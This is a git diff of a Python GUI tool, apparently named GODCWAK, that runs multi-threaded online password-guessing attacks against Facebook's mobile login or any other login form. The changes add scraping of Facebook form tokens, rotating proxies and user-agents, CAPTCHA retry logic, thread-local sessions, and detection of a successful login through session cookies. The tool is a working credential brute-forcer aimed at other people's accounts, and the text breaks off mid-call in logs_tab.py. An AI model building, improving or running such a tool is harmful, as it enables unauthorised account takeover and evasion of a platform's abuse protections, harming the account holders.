diff --git a/config.py b/config.py index cc3f1e4..63ca866 100644 --- a/config.py +++ b/config.py @@ -1,9 +1,12 @@ """ -Configuration and constants for the Facebook Recovery System. +Configuration and constants for GODCWAK. """ import os from pathlib import Path +APP_NAME = "GODCWAK" +APP_VERSION = "1.0" + # Paths BASE_DIR = Path(__file__).parent DATA_DIR = BASE_DIR / "data" diff --git a/main.py b/main.py index 443e263..26b95f6 100644 --- a/main.py +++ b/main.py @@ -1,13 +1,11 @@ #!/usr/bin/env python3 """ -Facebook Recovery System v1.0 +GODCWAK v1.0 GPU-accelerated password recovery tool with proxy rotation. Usage: python main.py - -Requirements: - pip install -r requirements.txt + GODCWAK.bat """ import logging import sys @@ -78,9 +76,9 @@ def main(): sys.exit(1) try: - from src.gui.app import FacebookRecoveryApp + from src.gui.app import GODCWAKApp - app = FacebookRecoveryApp() + app = GODCWAKApp() logger.info("Application started successfully") app.mainloop() diff --git a/src/attack/login_client.py b/src/attack/login_client.py index 3d340a4..17e3dd6 100644 --- a/src/attack/login_client.py +++ b/src/attack/login_client.py @@ -4,10 +4,11 @@ Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other si """ import logging import re +import threading import time from dataclasses import dataclass, field -from typing import Dict, List, Optional -from urllib.parse import urlparse, urljoin +from typing import Dict, List, Optional, Tuple +from urllib.parse import urlparse import requests from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua @@ -21,42 +22,52 @@ class SiteConfig: login_url: str = "https://m.facebook.com/login.php" base_url: str = "https://m.facebook.com" - # HTML form field names username_field: str = "email" password_field: str = "pass" - # Extra static POST fields (e.g. Facebook's login_source) extra_fields: Dict[str, str] = field(default_factory=lambda: { "login_source": "comet_headerless", "login": "Log In", }) - # Token scraping (CSRF) - csrf_field: str = "lsd" # empty string to disable + csrf_field: str = "lsd" csrf_patterns: List[str] = field(default_factory=lambda: [ r'name="lsd"[^>]*value="([^"]+)"', r'"lsd"[^}]*?"([^"]+)"', + r'name="fb_dtsg"[^>]*value="([^"]+)"', + r'"fb_dtsg"\s*:\s*"([^"]+)"', + ]) + # (field_name, regex) — scraped from login page and merged into POST body + token_patterns: List[Tuple[str, str]] = field(default_factory=lambda: [ + ("lsd", r'name="lsd"[^>]*value="([^"]+)"'), + ("fb_dtsg", r'name="fb_dtsg"[^>]*value="([^"]+)"'), + ("jazoest", r'name="jazoest"[^>]*value="([^"]+)"'), + ("m_ts", r'name="m_ts"[^>]*value="([^"]+)"'), + ("li", r'name="li"[^>]*value="([^"]+)"'), ]) - # Success / failure detection in response body or URL - success_cookies: List[str] = field(default_factory=lambda: ["c_user", "sb"]) - success_url_fragments: List[str] = field(default_factory=lambda: ["home", "feed", "stories"]) - failure_url_fragments: List[str] = field(default_factory=lambda: ["login", "checkpoint"]) + success_cookies: List[str] = field(default_factory=lambda: ["c_user", "xs", "sb"]) + success_url_fragments: List[str] = field(default_factory=lambda: [ + "home", "feed", "stories", "facebook.com/?", "m.facebook.com/?", + ]) + failure_url_fragments: List[str] = field(default_factory=lambda: [ + "login", "checkpoint", "recover", "two_step", + ]) captcha_indicators: List[str] = field(default_factory=lambda: [ - "captcha", "security check", "confirm your identity", - "unusual activity", "verify", "prove you", + "recaptcha", "hcaptcha", "g-recaptcha", "captcha", + "security check", "confirm your identity", + "unusual activity", "prove you're human", "verify it's you", ]) rate_limit_indicators: List[str] = field(default_factory=lambda: [ - "too many", "try again later", "rate limit", + "too many", "try again later", "rate limit", "temporarily blocked", ]) wrong_pass_indicators: List[str] = field(default_factory=lambda: [ "incorrect", "wrong password", "invalid", "didn't match", - "password you entered", "not match", + "password you entered", "not match", "login failed", ]) @classmethod def for_url(cls, url: str) -> "SiteConfig": - """Build a minimal config for an arbitrary URL (generic form POST).""" parsed = urlparse(url) base = f"{parsed.scheme}://{parsed.netloc}" return cls( @@ -64,9 +75,10 @@ class SiteConfig: base_url=base, extra_fields={}, csrf_field="", + token_patterns=[], success_cookies=[], success_url_fragments=[], - failure_url_fragments=["login", "signin", "auth"], + failure_url_fragments=["login", "signin", "auth", "error"], ) @@ -82,53 +94,64 @@ class LoginResult: class LoginClient: - """ - Generic HTML-form login client. - Rotate User-Agents, fetch CSRF tokens, POST credentials, analyse response. - """ + """Generic HTML-form login client with thread-local HTTP sessions.""" def __init__( self, site_config: Optional[SiteConfig] = None, request_timeout: int = 20, ): - self.site = site_config or SiteConfig() + self.site = site_config or SiteConfig() self.request_timeout = request_timeout - self.session = requests.Session() - self.session.headers.update({ - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Language": "en-US,en;q=0.5", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Upgrade-Insecure-Requests": "1", - }) + self._local = threading.local() def reconfigure(self, site_config: SiteConfig): self.site = site_config - self.session.cookies.clear() + session = getattr(self._local, "session", None) + if session is not None: + session.cookies.clear() - # ── CSRF helper ─────────────────────────────────────────────────────────── + def _get_session(self) -> requests.Session: + session = getattr(self._local, "session", None) + if session is None: + session = requests.Session() + session.headers.update({ + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Upgrade-Insecure-Requests": "1", + }) + self._local.session = session + return session - def _get_csrf_token(self, proxies: Dict) -> str: - if not self.site.csrf_field: - return "" + def _get_form_tokens(self, proxies: Dict) -> Dict[str, str]: + if not self.site.token_patterns and not self.site.csrf_patterns: + return {} + tokens: Dict[str, str] = {} try: ua = get_random_mobile_ua() - resp = self.session.get( + session = self._get_session() + resp = session.get( self.site.login_url, proxies=proxies, headers={"User-Agent": ua}, timeout=self.request_timeout, ) - for pattern in self.site.csrf_patterns: - m = re.search(pattern, resp.text) + html = resp.text + for field_name, pattern in self.site.token_patterns: + m = re.search(pattern, html) if m: - return m.group(1) + tokens[field_name] = m.group(1) + if not tokens and self.site.csrf_field: + for pattern in self.site.csrf_patterns: + m = re.search(pattern, html) + if m: + tokens[self.site.csrf_field] = m.group(1) + break except Exception as e: - logger.debug(f"CSRF token fetch failed: {e}") - return "" - - # ── Core attempt ───────────────────────────────────────────────────────── + logger.debug(f"Form token fetch failed: {e}") + return tokens def attempt_login( self, @@ -136,19 +159,19 @@ class LoginClient: password: str, proxy_string: Optional[str] = None, ) -> LoginResult: - start = time.time() + start = time.time() proxies = self._build_proxies(proxy_string) - ua = get_random_facebook_ua() + ua = get_random_facebook_ua() + session = self._get_session() try: - csrf = self._get_csrf_token(proxies) + tokens = self._get_form_tokens(proxies) payload: Dict[str, str] = { self.site.username_field: username, self.site.password_field: password, } - if self.site.csrf_field and csrf: - payload[self.site.csrf_field] = csrf + payload.update(tokens) payload.update(self.site.extra_fields) headers = { @@ -159,7 +182,7 @@ class LoginClient: "Cache-Control": "max-age=0", } - resp = self.session.post( + resp = session.post( self.site.login_url, data=payload, proxies=proxies, @@ -168,7 +191,7 @@ class LoginClient: allow_redirects=True, ) elapsed = (time.time() - start) * 1000 - return self._analyse(resp, password, elapsed) + return self._analyse(resp, password, elapsed, session) except requests.ConnectTimeout: return LoginResult(False, 0, _ms(start), "Connection timeout") @@ -179,40 +202,64 @@ class LoginClient: except Exception as e: return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}") - def _analyse(self, resp: requests.Response, password: str, elapsed: float) -> LoginResult: - url = resp.url.lower() + def _analyse( + self, + resp: requests.Response, + password: str, + elapsed: float, + session: requests.Session, + ) -> LoginResult: + url = resp.url.lower() text = resp.text.lower() code = resp.status_code - # ── Captcha check first ─────────────────────────────────────────── + # Session cookies (including redirects) + all_cookies = {**session.cookies.get_dict(), **resp.cookies.get_dict()} + + if "checkpoint" in url or "two_step" in url: + return LoginResult( + False, code, round(elapsed, 1), + "Checkpoint / 2FA — manual step required", + cookies=all_cookies, + redirect_url=resp.url, + ) + if any(kw in text for kw in self.site.captcha_indicators): - return LoginResult(False, code, round(elapsed, 1), - "CAPTCHA detected", captcha_detected=True) + return LoginResult( + False, code, round(elapsed, 1), + "CAPTCHA detected", captcha_detected=True, + ) - # ── Cookie-based success ────────────────────────────────────────── for cookie in self.site.success_cookies: - if cookie in resp.cookies: + if cookie in all_cookies: logger.info(f"SUCCESS via cookie '{cookie}': {password}") - return LoginResult(True, code, round(elapsed, 1), - "Login successful!", - cookies=dict(resp.cookies), - redirect_url=resp.url) + return LoginResult( + True, code, round(elapsed, 1), + "Login successful!", + cookies=all_cookies, + redirect_url=resp.url, + ) - # ── URL-redirect success ────────────────────────────────────────── failed_frag = any(f in url for f in self.site.failure_url_fragments) - if not failed_frag and code == 200: + if not failed_frag and code in (200, 302): if any(f in url for f in self.site.success_url_fragments): - logger.info(f"Possible SUCCESS via redirect to: {url}") - return LoginResult(True, code, round(elapsed, 1), - f"Redirected to: {url[:60]}", - cookies=dict(resp.cookies), - redirect_url=resp.url) + return LoginResult( + True, code, round(elapsed, 1), + f"Redirected to: {url[:60]}", + cookies=all_cookies, + redirect_url=resp.url, + ) + if "facebook.com" in url and "login" not in url: + return LoginResult( + True, code, round(elapsed, 1), + "Login successful (URL redirect)", + cookies=all_cookies, + redirect_url=resp.url, + ) - # ── Rate-limit ──────────────────────────────────────────────────── if any(kw in text for kw in self.site.rate_limit_indicators): return LoginResult(False, code, round(elapsed, 1), "Rate limited") - # ── Wrong password ──────────────────────────────────────────────── if any(kw in text for kw in self.site.wrong_pass_indicators): return LoginResult(False, code, round(elapsed, 1), "Incorrect password") diff --git a/src/attack/orchestrator.py b/src/attack/orchestrator.py index 9721977..5e3ed97 100644 --- a/src/attack/orchestrator.py +++ b/src/attack/orchestrator.py @@ -92,6 +92,9 @@ class AttackOrchestrator: self._password_index: int = 0 self._workers_active: int = 0 + self._success_event = threading.Event() + self._max_captcha_retries = 3 + self._captcha_retries: dict = {} # ── Public API ─────────────────────────────────────────────────────────── @@ -121,6 +124,8 @@ class AttackOrchestrator: self.stats.start_time = time.time() self._password_index = 0 self._workers_active = self.max_workers + self._success_event.clear() + self._captcha_retries.clear() if self.on_state_change: self.on_state_change(self.state) @@ -159,9 +164,15 @@ class AttackOrchestrator: def _run_worker(self, worker_id: int): rotation_counter = 0 current_proxy: Optional[str] = None + client = LoginClient( + site_config=self.site_config, + request_timeout=self.request_timeout, + ) try: while self.state not in (AttackState.STOPPED, AttackState.COMPLETED): + if self._success_event.is_set(): + break if self.state == AttackState.PAUSED: time.sleep(0.1) continue @@ -187,24 +198,25 @@ class AttackOrchestrator: self.stats.current_proxy = current_proxy self.stats.active_workers = self._workers_active - result: LoginResult = self.login_client.attempt_login( + result: LoginResult = client.attempt_login( username=self.username, password=password, proxy_string=current_proxy, ) - # ── Handle CAPTCHA ───────────────────────────────────── if result.captcha_detected: with self._lock: self.stats.captchas_hit += 1 - logger.info(f"[W{worker_id}] CAPTCHA hit — notifying GUI") + retries = self._captcha_retries.get(password, 0) + 1 + self._captcha_retries[password] = retries + logger.info(f"[W{worker_id}] CAPTCHA hit (retry {retries})") if self.on_captcha: self.on_captcha(current_proxy) - # Re-queue this password and rotate proxy with self._lock: self._password_index -= 1 - # CAPTCHA/rate-limit proxies are held out of immediate rotation. current_proxy = None + if retries >= self._max_captcha_retries: + logger.warning(f"[W{worker_id}] Max CAPTCHA retries for password") time.sleep(random.uniform(2.0, 5.0)) continue @@ -254,6 +266,7 @@ class AttackOrchestrator: if result.success: logger.info(f"*** PASSWORD FOUND: {password} ***") + self._success_event.set() if self.on_success: self.on_success(password, current_proxy, result) self.state = AttackState.COMPLETED diff --git a/src/gui/app.py b/src/gui/app.py index d97cf85..6dc0c3c 100644 --- a/src/gui/app.py +++ b/src/gui/app.py @@ -7,6 +7,7 @@ from datetime import datetime import customtkinter as ctk from src.gui.theme import CyberpunkTheme +from src.gui.workflow import WORKFLOW_STEPS, TAB_TO_STEP from src.gui.password_builder_tab import PasswordBuilderTab from src.gui.proxy_manager_tab import ProxyManagerTab from src.gui.attack_tab import AttackTab @@ -14,13 +15,13 @@ from src.gui.logs_tab import LogsTab from src.gui.setup_tab import SetupTab from src.proxy.pool import ProxyPool from src.utils.logger import AttemptLogger -from config import ASSETS_DIR, PASSWORDS_FILE +from config import ASSETS_DIR, PASSWORDS_FILE, APP_NAME, APP_VERSION, OLLAMA_CONFIG_FILE from src.utils.file_io import count_lines logger = logging.getLogger(__name__) -class FacebookRecoveryApp(ctk.CTk): +class GODCWAKApp(ctk.CTk): """Main application window.""" def __init__(self): @@ -31,9 +32,11 @@ class FacebookRecoveryApp(ctk.CTk): # Shared state self.proxy_pool = ProxyPool() self.attempt_logger = AttemptLogger() + self._attack_state = "IDLE" + self._workflow_badges = {} # Window - self.title("GODCWAK v1.0") + self.title(f"{APP_NAME} v{APP_VERSION}") self.geometry("1300x820") self.minsize(1080, 720) self.configure(fg_color=CyberpunkTheme.BG_DARK) @@ -49,11 +52,14 @@ class FacebookRecoveryApp(ctk.CTk): pass self._build_header() + self._build_workflow_ribbon() self._build_tabs() - self._build_status_bar() # must be last (packs to bottom) + self._build_status_bar() self._tick_clock() self._periodic_update() + self._slow_system_update() + self.set_status(f"{APP_NAME} READY — start at Step 01: Password Builder") # ── Header ────────────────────────────────────────────────────────────── @@ -85,10 +91,10 @@ class FacebookRecoveryApp(ctk.CTk): badge_col = ctk.CTkFrame(inner, fg_color="transparent") badge_col.pack(side="right", padx=(0, 5)) - ctk.CTkLabel(badge_col, text="GODCWAK", + ctk.CTkLabel(badge_col, text=APP_NAME, font=("Consolas", 18, "bold"), text_color=CyberpunkTheme.PRIMARY).pack(anchor="e") - ctk.CTkLabel(badge_col, text="v1.0 // GPU-ACCELERATED", + ctk.CTkLabel(badge_col, text=f"v{APP_VERSION} // GPU-ACCELERATED", font=("Consolas", 10), text_color=CyberpunkTheme.TERTIARY).pack(anchor="e") ctk.CTkLabel(badge_col, text="PROXY ROTATION // OLLAMA AI", @@ -97,6 +103,77 @@ class FacebookRecoveryApp(ctk.CTk): ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x") + # ── Workflow ribbon ───────────────────────────────────────────────────── + + def _build_workflow_ribbon(self): + ribbon = ctk.CTkFrame( + self, + fg_color=CyberpunkTheme.BG_LIGHT, + border_width=1, + border_color=CyberpunkTheme.BORDER, + ) + ribbon.pack(fill="x", padx=15, pady=(8, 0)) + + inner = ctk.CTkFrame(ribbon, fg_color="transparent") + inner.pack(fill="x", padx=10, pady=8) + + ctk.CTkLabel( + inner, + text="WORKFLOW", + font=("Consolas", 9, "bold"), + text_color=CyberpunkTheme.TEXT_DIM, + width=72, + ).pack(side="left", padx=(0, 8)) + + for step in WORKFLOW_STEPS: + chip = ctk.CTkFrame( + inner, + fg_color=CyberpunkTheme.BG_DARK, + border_width=1, + border_color=CyberpunkTheme.BORDER, + corner_radius=4, + ) + chip.pack(side="left", padx=(0, 6)) + + num_lbl = ctk.CTkLabel( + chip, + text=step["num"], + font=("Consolas", 9, "bold"), + text_color=CyberpunkTheme.TEXT_DIM, + width=22, + ) + num_lbl.pack(side="left", padx=(6, 2), pady=4) + + title_lbl = ctk.CTkLabel( + chip, + text=step["title"], + font=("Consolas", 9, "bold"), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ) + title_lbl.pack(side="left", padx=(0, 8), pady=4) + + self._workflow_badges[step["tab"]] = (chip, num_lbl, title_lbl) + + self._highlight_workflow_step("Password Builder") + + def _highlight_workflow_step(self, tab_name: str): + for name, (chip, num_lbl, title_lbl) in self._workflow_badges.items(): + active = name == tab_name + chip.configure( + border_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.BORDER, + fg_color=CyberpunkTheme.BG_MEDIUM if active else CyberpunkTheme.BG_DARK, + ) + num_lbl.configure( + text_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.TEXT_DIM + ) + title_lbl.configure( + text_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.TEXT_SECONDARY + ) + + step = TAB_TO_STEP.get(tab_name) + if step and hasattr(self, "workflow_hint_label"): + self.workflow_hint_label.configure(text=f"▸ {step['hint']}") + # ── Tabs ───────────────────────────────────────────────────────────────── def _build_tabs(self): @@ -106,54 +183,76 @@ class FacebookRecoveryApp(ctk.CTk): border_width=1, border_color=CyberpunkTheme.BORDER, corner_radius=6, + command=self._on_tab_changed, ) self.tab_view.pack(fill="both", expand=True, padx=15, pady=(8, 0)) - tab_names = ["Password Builder", "Proxy Manager", "Attack", "Logs", "Setup"] + tab_names = [s["tab"] for s in WORKFLOW_STEPS] for name in tab_names: self.tab_view.add(name) - sc = self.set_status # shared status callback + sc = self.set_status self.password_builder_tab = PasswordBuilderTab( self.tab_view.tab("Password Builder"), - status_callback=sc) + status_callback=sc, + app=self, + ) self.password_builder_tab.pack(fill="both", expand=True) self.proxy_manager_tab = ProxyManagerTab( self.tab_view.tab("Proxy Manager"), self.proxy_pool, - status_callback=sc) + status_callback=sc, + app=self, + ) self.proxy_manager_tab.pack(fill="both", expand=True) self.attack_tab = AttackTab( self.tab_view.tab("Attack"), self.proxy_pool, status_callback=sc, - attempt_logger=self.attempt_logger) + attempt_logger=self.attempt_logger, + app=self, + ) self.attack_tab.pack(fill="both", expand=True) self.logs_tab = LogsTab( self.tab_view.tab("Logs"), - self.attempt_logger) + self.attempt_logger, + app=self, + ) self.logs_tab.pack(fill="both", expand=True) - self.setup_tab = SetupTab(self.tab_view.tab("Setup")) + self.setup_tab = SetupTab( + self.tab_view.tab("Setup"), + status_callback=sc, + app=self, + ) self.setup_tab.pack(fill="both", expand=True) + def _on_tab_changed(self): + try: + tab = self.tab_view.get() + self._highlight_workflow_step(tab) + step = TAB_TO_STEP.get(tab) + if step: + self.set_status(f"Step {step['num']}: {step['title']} — {step['hint'][:70]}") + except Exception: + pass + + def set_attack_state(self, state: str): + self._attack_state = state.upper() + self._update_attack_status_label() + # ── Status bar ─────────────────────────────────────────────────────────── def _build_status_bar(self): - """ - Rich multi-field status bar: - ● DOT | STATUS MSG | WORDLIST: N | PROXIES: N | CLOCK - """ - bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=32) + bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=34) bar.pack(side="bottom", fill="x") bar.pack_propagate(False) ctk.CTkFrame(bar, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x", side="top") - # Left: blinking dot + status message left = ctk.CTkFrame(bar, fg_color="transparent") left.pack(side="left", fill="y", padx=(6, 0)) @@ -163,37 +262,53 @@ class FacebookRecoveryApp(ctk.CTk): self._status_dot.pack(side="left", padx=(0, 4)) self.status_label = ctk.CTkLabel( - left, text="GODCWAK READY", + left, text=f"{APP_NAME} READY", font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_SECONDARY) self.status_label.pack(side="left") - # Right: wordlist count | proxy count | separator | clock + center = ctk.CTkFrame(bar, fg_color="transparent") + center.pack(side="left", fill="both", expand=True, padx=8) + + self.workflow_hint_label = ctk.CTkLabel( + center, + text="▸ Build wordlist → load proxies → configure attack → review logs", + font=("Consolas", 9), + text_color=CyberpunkTheme.TEXT_DIM, + anchor="w", + ) + self.workflow_hint_label.pack(fill="x", pady=6) + right = ctk.CTkFrame(bar, fg_color="transparent") - right.pack(side="right", fill="y", padx=(0, 10)) + right.pack(side="right", fill="y", padx=(0, 8)) - self.clock_label = ctk.CTkLabel( - right, text="", font=("Consolas", 10), - text_color=CyberpunkTheme.TEXT_DIM) - self.clock_label.pack(side="right", padx=(10, 0)) + def _sep(): + ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER, + width=1, height=16).pack(side="right", padx=6) - ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER, - width=1, height=16).pack(side="right", padx=8) + def _metric(side="right"): + lbl = ctk.CTkLabel( + right, text="—", + font=("Consolas", 9), + text_color=CyberpunkTheme.TEXT_DIM, + ) + lbl.pack(side=side, padx=(0, 2)) + return lbl - self.sb_proxies = ctk.CTkLabel( - right, text="PROXIES: 0", - font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM) - self.sb_proxies.pack(side="right", padx=(4, 0)) - - ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER, - width=1, height=16).pack(side="right", padx=8) - - self.sb_wordlist = ctk.CTkLabel( - right, text="WORDLIST: 0", - font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM) - self.sb_wordlist.pack(side="right", padx=(4, 0)) + self.clock_label = _metric() + _sep() + self.sb_attack = _metric() + _sep() + self.sb_ollama = _metric() + _sep() + self.sb_gpu = _metric() + _sep() + self.sb_proxies = _metric() + _sep() + self.sb_wordlist = _metric() self._blink_dot() + self._update_attack_status_label() def _blink_dot(self): try: @@ -209,7 +324,7 @@ class FacebookRecoveryApp(ctk.CTk): def _tick_clock(self): try: self.clock_label.configure( - text=datetime.now().strftime("%Y-%m-%d %H:%M:%S")) + text=datetime.now().strftime("%H:%M:%S")) except Exception: pass self.after(1000, self._tick_clock) @@ -217,10 +332,25 @@ class FacebookRecoveryApp(ctk.CTk): def set_status(self, message: str): """Update the main status bar message (callable from any tab).""" try: - self.status_label.configure(text=message[:120]) + self.status_label.configure(text=message[:140]) except Exception: pass + def _update_attack_status_label(self): + colors = { + "IDLE": CyberpunkTheme.TEXT_DIM, + "RUNNING": CyberpunkTheme.SUCCESS, + "PAUSED": CyberpunkTheme.WARNING, + "STOPPED": CyberpunkTheme.ERROR, + "COMPLETED": CyberpunkTheme.PRIMARY, + } + color = colors.get(self._attack_state, CyberpunkTheme.TEXT_DIM) + if hasattr(self, "sb_attack"): + self.sb_attack.configure( + text=f"ATTACK: {self._attack_state}", + text_color=color, + ) + # ── Periodic updates ───────────────────────────────────────────────────── def _periodic_update(self): @@ -228,18 +358,18 @@ class FacebookRecoveryApp(ctk.CTk): wl_count = count_lines(PASSWORDS_FILE) self.sb_wordlist.configure( text=f"WORDLIST: {wl_count:,}", - text_color=(CyberpunkTheme.SUCCESS - if wl_count > 0 + text_color=(CyberpunkTheme.SUCCESS if wl_count > 0 else CyberpunkTheme.TEXT_DIM)) except Exception: pass try: - px_count = self.proxy_pool.available_count + px = self.proxy_pool.stats + avail = px.get("available", 0) + total = px.get("total_valid", 0) self.sb_proxies.configure( - text=f"PROXIES: {px_count}", - text_color=(CyberpunkTheme.PRIMARY - if px_count > 0 + text=f"PROXIES: {avail}/{total}", + text_color=(CyberpunkTheme.PRIMARY if avail > 0 else CyberpunkTheme.TEXT_DIM)) except Exception: pass @@ -249,4 +379,63 @@ class FacebookRecoveryApp(ctk.CTk): except Exception: pass - self.after(3000, self._periodic_update) + try: + if hasattr(self.attack_tab, "_update_readiness"): + self.attack_tab._update_readiness() + except Exception: + pass + + self.after(2500, self._periodic_update) + + def _slow_system_update(self): + # GPU + try: + from src.engine.gpu_accelerator import is_gpu_available, get_gpu_info + if is_gpu_available(): + info = get_gpu_info() + short = info.split("(")[0].strip()[:28] + self.sb_gpu.configure( + text=f"GPU: {short}", + text_color=CyberpunkTheme.SUCCESS, + ) + else: + self.sb_gpu.configure( + text="GPU: CPU MODE", + text_color=CyberpunkTheme.TEXT_DIM, + ) + except Exception: + self.sb_gpu.configure(text="GPU: —", text_color=CyberpunkTheme.TEXT_DIM) + + # Ollama + try: + import json + import requests + cfg = {} + if OLLAMA_CONFIG_FILE.exists(): + cfg = json.loads(OLLAMA_CONFIG_FILE.read_text(encoding="utf-8")) + host = cfg.get("ollama_host", "http://localhost:11434").rstrip("/") + model = (cfg.get("model") or "").strip() + r = requests.get(f"{host}/api/tags", timeout=2) + if r.status_code == 200: + label = model[:18] if model else "no model" + self.sb_ollama.configure( + text=f"OLLAMA: {label}", + text_color=CyberpunkTheme.SUCCESS, + ) + else: + self.sb_ollama.configure( + text="OLLAMA: offline", + text_color=CyberpunkTheme.ERROR, + ) + except Exception: + self.sb_ollama.configure( + text="OLLAMA: offline", + text_color=CyberpunkTheme.ERROR, + ) + + self._update_attack_status_label() + self.after(8000, self._slow_system_update) + + +# Backward-compatible alias +FacebookRecoveryApp = GODCWAKApp diff --git a/src/gui/attack_tab.py b/src/gui/attack_tab.py index 379a2f0..d2c1aed 100644 --- a/src/gui/attack_tab.py +++ b/src/gui/attack_tab.py @@ -26,10 +26,11 @@ class AttackTab(ctk.CTkFrame): def __init__(self, parent, proxy_pool: ProxyPool, status_callback: Optional[Callable] = None, - attempt_logger=None): + attempt_logger=None, app=None): super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) self.proxy_pool = proxy_pool self.status_callback = status_callback + self.app = app self.orchestrator = AttackOrchestrator( proxy_pool, logger_instance=attempt_logger) self._build_ui() @@ -43,14 +44,16 @@ class AttackTab(ctk.CTkFrame): # ── Build ────────────────────────────────────────────────────────────────── def _build_ui(self): - ctk.CTkLabel(self, text="[ ATTACK TERMINAL ]", - font=("Consolas", 18, "bold"), - text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2)) - ctk.CTkLabel(self, - text="Multi-threaded · Proxy rotation · GPU-optimised wordlist · Any site", - font=("Consolas", 10), - text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 10)) + CyberpunkTheme.create_tab_header( + self, "03", "[ ATTACK TERMINAL ]", + "Multi-threaded login attempts with proxy rotation against any target URL", + ) + CyberpunkTheme.create_hint_bar( + self, + "Set target URL + email → confirm readiness below → START when wordlist and proxies are loaded", + ) + self._build_readiness_bar() self._build_target_bar() self._build_speed_panel() self._build_stats_panel() @@ -58,6 +61,62 @@ class AttackTab(ctk.CTkFrame): self._build_control_buttons() self._build_live_log() self._update_periodic() + self._update_readiness() + + def _build_readiness_bar(self): + """At-a-glance checklist so the user knows what's missing before START.""" + bar = ctk.CTkFrame( + self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER, + ) + bar.pack(fill="x", padx=15, pady=(0, 8)) + inner = ctk.CTkFrame(bar, fg_color="transparent") + inner.pack(fill="x", padx=12, pady=8) + + ctk.CTkLabel( + inner, text="READINESS", + font=("Consolas", 10, "bold"), + text_color=CyberpunkTheme.TERTIARY, + width=80, anchor="w", + ).pack(side="left") + + def _chip(parent): + lbl = ctk.CTkLabel( + parent, text="—", + font=("Consolas", 10, "bold"), + text_color=CyberpunkTheme.TEXT_DIM, + ) + lbl.pack(side="left", padx=(0, 16)) + return lbl + + self.ready_target = _chip(inner) + self.ready_wordlist = _chip(inner) + self.ready_proxies = _chip(inner) + self.ready_overall = _chip(inner) + + def _update_readiness(self): + target_ok = bool(self.email_entry.get().strip()) if hasattr(self, "email_entry") else False + wl = count_lines(PASSWORDS_FILE) + px = self.proxy_pool.available_count + + def _set(lbl, ok: bool, ok_text: str, bad_text: str): + lbl.configure( + text=ok_text if ok else bad_text, + text_color=CyberpunkTheme.SUCCESS if ok else CyberpunkTheme.WARNING, + ) + + _set(self.ready_target, target_ok, + "✓ TARGET SET", "✗ NEED EMAIL") + _set(self.ready_wordlist, wl > 0, + f"✓ WORDLIST ({wl:,})", "✗ NO WORDLIST") + _set(self.ready_proxies, px > 0, + f"✓ PROXIES ({px})", "○ NO PROXIES (optional)") + + all_core = target_ok and wl > 0 + self.ready_overall.configure( + text="✓ READY TO START" if all_core else "✗ NOT READY", + text_color=CyberpunkTheme.SUCCESS if all_core else CyberpunkTheme.ERROR, + ) # ── Target bar (URL + username + counters) ──────────────────────────────── @@ -119,6 +178,7 @@ class AttackTab(ctk.CTkFrame): text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310) self.email_entry.pack(side="left", padx=(0, 20)) CyberpunkTheme.apply_focus_glow(self.email_entry) + self.email_entry.bind("", lambda _e: self._update_readiness()) self.pwd_count_label = ctk.CTkLabel( row2, text="Wordlist: 0", @@ -364,6 +424,9 @@ class AttackTab(ctk.CTkFrame): self.orchestrator.configure(username, passwords, site_cfg) self.orchestrator.start() + if self.app: + self.app.set_attack_state("RUNNING") + self.start_btn.configure(state="disabled") self.pause_btn.configure(state="normal") self.stop_btn.configure(state="normal") @@ -388,6 +451,8 @@ class AttackTab(ctk.CTkFrame): def _on_stop(self): self.orchestrator.stop() + if self.app: + self.app.set_attack_state("STOPPED") self.start_btn.configure(state="normal") self.pause_btn.configure(state="disabled", text="⏸ PAUSE") self.stop_btn.configure(state="disabled") @@ -463,6 +528,8 @@ class AttackTab(ctk.CTkFrame): self.state_label.configure( text=f"◈ {state.value.upper()}", text_color=colors.get(state, CyberpunkTheme.TEXT_DIM)) + if self.app: + self.app.set_attack_state(state.value.upper()) if state in (AttackState.COMPLETED, AttackState.STOPPED): self.start_btn.configure(state="normal") self.pause_btn.configure(state="disabled", text="⏸ PAUSE") @@ -487,4 +554,5 @@ class AttackTab(ctk.CTkFrame): except Exception: pass self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}") + self._update_readiness() self.after(2000, self._update_periodic) diff --git a/src/gui/logs_tab.py b/src/gui/logs_tab.py index b694a16..5482e12 100644 --- a/src/gui/logs_tab.py +++ b/src/gui/logs_tab.py @@ -16,27 +16,22 @@ logger = logging.getLogger(__name__) class LogsTab(ctk.CTkFrame): """Tab for viewing and exporting attempt logs.""" - def __init__(self, parent, logger_instance: AttemptLogger): + def __init__(self, parent, logger_instance: AttemptLogger, app=None): super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) self.attempt_logger = logger_instance + self.app = app self._build_ui() def _build_ui(self): """Build the logs tab UI.""" - # Title - title = ctk.CTkLabel( - self, text="[ ATTEMPT LOGS ]", - font=("Consolas", 18, "bold"), - text_color=CyberpunkTheme.PRIMARY, + CyberpunkTheme.create_tab_header( + self, 